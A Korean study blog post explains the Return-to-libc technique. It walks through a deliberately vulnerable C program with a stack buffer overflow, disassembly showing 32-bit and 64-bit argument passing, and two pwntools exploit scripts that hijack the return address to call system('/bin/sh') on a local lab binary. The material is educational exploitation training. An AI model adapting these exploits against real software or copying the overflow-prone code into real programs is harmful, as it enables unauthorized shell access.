일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- House of Orange
- 투 포인터
- 에라토스테네스의 체
- RTL
- 완전 탐색
- 큐
- 이진 탐색
- OOB
- 이진트리
- 연결리스트
- BOF
- 브루트 포스
- DFS
- ROP
- 스위핑 알고리즘
- 다이나믹 프로그래밍
- 포맷스트링버그
- 동적 계획법
- 분할 정복
- off by one
- 이분 탐색
- 문자열 처리
- fsb
- BFS
- syscall
- tcache
- 스택
- heap
- 백트래킹
- 수학
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
[Exploitation Technique] RTL 기법 (Return-to-libc) 본문
시스템 Exploitation 기법중 RTL에 관한 글이다.
-
RTL ( Return-to-libc ) 기법
-
32 bit RTL
-
64 bit RTL
로 구성되어있다.
이 글을 읽고 나면...
RTL을 연속적으로 트리거하는 RTL chaining에 대해 알아보자.
2020/05/28 - [study/pwnable] - [Exploitation Technique] RTL chaining
RTL ( Return-to-libc ) ?
먼저 linux 바이너리에는 Dynamic Linking을 했ㅇ르 시 라이브러리 공유를 위해 코드영역이나 데이터영역에 libc가 로드되어 있다. RTL이란 이렇게 남아있는 libc를 가지고 NX를 우회하는 기법을 의미하는데,
NX는 stack과 같은 부분에 execute 권한을 지워 쉘코드를 실행하지 못하게 하는 보호기법이지만 이 RTL을 통해 NX를 우회할 수 있다.
RTL을 하기위해 32 bit와 64 bit 코드 둘다 같은 코드를 사용했다.
/*
file : RTL.c
x86 compile : gcc -o RTL_x86 RTL.c -fno-stack-protector -m32
x86_64 compile : gcc -o RTL_x86_64 RTL.c -fno-stack-protector
*/
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char *global = "/bin/sh\x00";
void hidden()
{
system("date");
}
void Hello()
{
char buf[0x10];
printf(">> ");
read(0, buf, 0x100);
return;
}
void func(int a, int b, int c)
{
return;
}
int main(void)
{
func(0x10, 0x100, 0x1000);
Hello();
return 0;
}
system도 주고 "/bin/sh"도 준다 와! RTL!
만약 컴파일할 때 -m32에 대해 오류가 뜬다면
32 bit 컴파일을 위한 라이브러리가 없어서 그러므로 아래 명령어로 gcc 패키지를 추가로 설치해 주면 된다.
sudo apt-get install gcc-multilib
전부 컴파일이 끝났다면 RTL을 해보자.
x86 ( 32 bit ) RTL
먼저 32 bit RTL을 하기 전에 32bit가 함수 인자를 어떻게 주는지 확인 해야한다.
x86에서는 __cdecl를 사용한다.
main함수를 어셈블리어로 보면
pwndbg> disassemble main
Dump of assembler code for function main:
0x080484b9 <+0>: lea ecx,[esp+0x4]
0x080484bd <+4>: and esp,0xfffffff0
0x080484c0 <+7>: push DWORD PTR [ecx-0x4]
0x080484c3 <+10>: push ebp
0x080484c4 <+11>: mov ebp,esp
0x080484c6 <+13>: push ecx
0x080484c7 <+14>: sub esp,0x4
0x080484ca <+17>: push 0x1000
0x080484cf <+22>: push 0x100
0x080484d4 <+27>: push 0x10
0x080484d6 <+29>: call 0x80484b3 <func>
0x080484db <+34>: add esp,0xc
0x080484de <+37>: call 0x8048484 <Hello>
0x080484e3 <+42>: mov eax,0x0
0x080484e8 <+47>: mov ecx,DWORD PTR [ebp-0x4]
0x080484eb <+50>: leave
0x080484ec <+51>: lea esp,[ecx-0x4]
0x080484ef <+54>: ret
End of assembler dump.
중간에 0x1000, 0x100, 0x10을 push하고 func을 집어넣는것을 볼 수 있다.
C언어 코드로 볼 때는
func(0x10, 0x100, 0x1000);
다음과 같이 넣었으므로 오른쪽부터 push한것을 알 수 있다.
즉, 32 bit는 함수의 인자를 넣을 때 오른쪽부터 stack에 push한뒤 함수를 호출한다.
이것을 이해하고 넘어가자.
이제 RTL을 할껀데 바이너리에는 system 함수도 있고 /bin/sh 문자열도 있다.
저걸 찾아보자.
plt( procedure linkage table )에 가보면 system의 plt가 존재하므로 이것을 챙겨주자.
plt는 dynamic linking을 할 때 got와 함께 함수를 불러올 때 사용되는 부분이라고 생각하면 된다.
자세한거는 검색해보시는것을 추천!
문자열 /bin/sh 역시 우리가 전역변수에 써줌으로써 데이터영역에서 쉽게 찾을 수 있다.
/bin/sh문자열의 경우에는 libc에도 존재하겠지만 나같은경우 전역변수에 써준 문자열을 썼다.
libc는 libc를 leak해야 알 수 있으니까 ROP에서 도전
따라서 system과 /bin/sh를 찾았고
ret에 system plt + dummy(4 byte) + /bin/sh 문자열 주소 를 덮어주면 Hello함수가 ret을 할 때 원래라면 정상적으로 main으로 돌아가야겠지만 system plt가 호출되어있고 인자 위치에 /bin/sh가 들어있게 되므로 system("/bin/sh")를 호출하게 될 것이다.
system plt와 /bin/sh 사이에 dummy를 넣는 이유는 dummy의 위치가 system함수의 ret위치라고 생각하면 된다. system이 끝나면서 돌아갈 위치.
exploit code
from pwn import *
p = process("./RTL_x86")
system = 0x8048340
bin_sh = 0x8049570
pay = ''
pay += 'a'*0x18
pay += 'XXXX' # sfp
pay += p32(system) # ret
pay += 'yyyy' # system ret
pay += p32(bin_sh)
p.send(pay)
p.interactive()
이 코드를 실행시키면 쉘이 따지긴 따지는데, 'yyyy'가 system의 RET위치기 때문에 쉘을 exit할 경우
아래 사진처럼 segmentation fault가 뜨게 된다.
코어를 확인해보면
yyyy에서 죽은 걸 알 수 있다.
따라서 이걸 이용해 나중에 ROP도 할 수 있게 된다.
결론 : 32 bit는 함수 인자를 스택에 저장한다.
x86_64 ( 64 bit ) RTL
이제 64 비트 RTL을 해보자.
x64는 단 하나의 함수 호출 규약을 사용한다고 하는데 이름은 system v amd64 calling convention를 사용한다고 한다.
근데 사실 64비트도 32 bit와 다를게 없다
32 bit가 스택에 인자를 저장한다면, 64 bit는 레지스터에 인자를 저장한다.
위에서 적은 예제를 통해 이해해보자
func(0x10, 0x100, 0x1000);
위에서 다음과같은 코드를 썼는데
이것을 64 bit로 보면
pwndbg> disassemble main
Dump of assembler code for function main:
0x0000000000400607 <+0>: push rbp
0x0000000000400608 <+1>: mov rbp,rsp
0x000000000040060b <+4>: mov edx,0x1000
0x0000000000400610 <+9>: mov esi,0x100
0x0000000000400615 <+14>: mov edi,0x10
0x000000000040061a <+19>: call 0x4005f7 <func>
0x000000000040061f <+24>: mov eax,0x0
0x0000000000400624 <+29>: call 0x4005c7 <Hello>
0x0000000000400629 <+34>: mov eax,0x0
0x000000000040062e <+39>: pop rbp
0x000000000040062f <+40>: ret
End of assembler dump.
다음과 같이 mov edx, 0x100, mov esi, 0x100, mov edi, 0x10 처럼
레지스터에 값을 저장하고 함수를 호출한다.
그래서 우리는 인자 순서를 외워야 한다.
32 bit 에서는 오른쪽에서 왼쪽으로 push만 했다면 64 bit는 레지스터에 값이 들어가기 때문에 순서를 외워줘야 한다.
레지스터는 rdi, rsi, rdx, rcx, r8, r9 ... 순으로 들어간다.
위에서 본 예시로 보자면 edi = rdi = 0x10, esi = rsi = 0x100, edx = rdx = 0x1000을 하고 call func를 한 순서대로이다.
따라서 이것을 그래도 옮겨와서 64 bit RTL을 하면 된다.
plt에 system plt를 가져오고
data영역의 /bin/sh 문자열을 가져와서 RTL을 하자.
rdi에 /bin/sh를 넣기 위해 pop rdi ; ret 가젯도 가져오자.
다만 주의할 점은 함수를 호출하기 전 레지스터에 미리 인자들을 넣어줘야한다.
exploit code
from pwn import *
p = process("./RTL_x86_64")
system = 0x400470
bin_sh = 0x6006b4
pop_rdi = 0x0000000000400693
pay = ''
pay += 'a'*0x10
pay += 'X'*8 # sfp
pay += p64(pop_rdi) # ret
pay += p64(bin_sh)
pay += p64(system)
pay += 'Y'*8 # system ret
p.send(pay)
p.interactive()
결론 : 64 bit는 함수 인자를 레지스터에 저장한다.
'study > pwnable' 카테고리의 다른 글
[Exploitation Technique] ROP (Return Oriented Programming) (0) | 2020.05.30 |
---|---|
[Exploitation Technique] RTL chaining (0) | 2020.05.28 |
malloc_hook에 값이 있을 때 __libc_calloc? (0) | 2020.04.10 |
stderr로 stdout 대체하기? (0) | 2020.02.14 |
scanf("%d")에 대한 잡기술(?)... (0) | 2020.01.10 |